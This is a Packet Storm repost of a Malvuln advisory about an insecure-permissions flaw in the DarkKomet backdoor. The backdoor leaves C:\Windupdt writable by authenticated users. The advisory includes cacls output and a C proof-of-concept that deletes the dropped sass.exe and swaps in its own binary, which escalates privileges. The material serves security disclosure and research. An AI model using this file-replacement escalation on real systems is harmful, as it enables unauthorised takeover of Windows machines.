Backdoor.Win32.DarkKomet.apbb Insecure Permissions

2021-01-27T00:00:00
ID PACKETSTORM:161153
Type packetstorm
Reporter malvuln
Modified 2021-01-27T00:00:00

Description

                                        
                                            `Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/d6c930e0ac1df934151d1890f6441fe2.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.DarkKomet.apbb  
Vulnerability: Insecure Permissions  
Description: DarkKomet creates an insecure dir named "Windupdt" under c:\ drive, this allows unprivileged users to take over the infected system, as it grants change (C) permissions to the authenticated users group.  
Type: PE32  
MD5: d6c930e0ac1df934151d1890f6441fe2  
Vuln ID: MVID-2021-0054  
Dropped files: sass.exe  
Disclosure: 01/26/2021  
  
  
Exploit/PoC:  
C:\>cacls "C:\Windupdt\sass.exe"  
C:\Windupdt\sass.exe BUILTIN\Administrators:(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
BUILTIN\Users:(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
  
#include "stdio.h"  
#include "windows.h"  
#define TARGET "C:\\Windupdt\\sass.exe"  
#define TMP "C:\\Windupdt\\2.exe"  
#define DISABLED_TARGET "C:\\Windupdt\\pwnkomet.tmp"  
  
/* Backdoor.Win32.DarkKomet.apbb.d6c930e0ac1df934151d1890f6441fe2 */  
/* Insecure Permissions EoP */  
/* Log out of the current privileged user account, run the exploit as standard user then log back in. */  
/* By Malvuln */  
  
BOOL PWNED=FALSE;  
  
BOOL FileExists(LPCTSTR szPath){  
DWORD dwAttrib = GetFileAttributes(szPath);  
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));  
}  
  
void main(void){  
  
if(!FileExists(DISABLED_TARGET)){  
WinExec("cmd.exe /c del C:\\Windupdt\\sass.exe", 0);  
Sleep(1000);  
CopyFile(TARGET, TMP, FALSE);  
Sleep(1000);  
CopyFile(TMP, DISABLED_TARGET, FALSE);  
printf("[+] Backdoor.Win32.DarkKomet.apbb EoP PoC\n");  
Sleep(1000);  
printf("[+] Disabled sass.exe ...\n");  
Sleep(300);  
}else{  
PWNED=TRUE;  
}  
  
if(!PWNED){  
char fname[MAX_PATH];  
char newLoc[]=TARGET;  
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);  
if (size){  
printf("[+] Copying exploit to vuln System dir...\n");  
Sleep(1000);  
CopyFile(fname, TARGET, FALSE);  
printf("[+] Replaced sass.exe...\n");  
printf("[+] Done!\n");  
exit(0);  
}  
}else{  
if(FileExists(TMP)){  
remove(TMP);  
}  
printf("[+] Backdoor.Win32.DarkKomet.apbb PWNED!\n");  
printf("[+] MD5: d6c930e0ac1df934151d1890f6441fe2\n");  
printf("[+] By John Page (Malvuln)\n");  
system("pause");  
}  
}  
  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`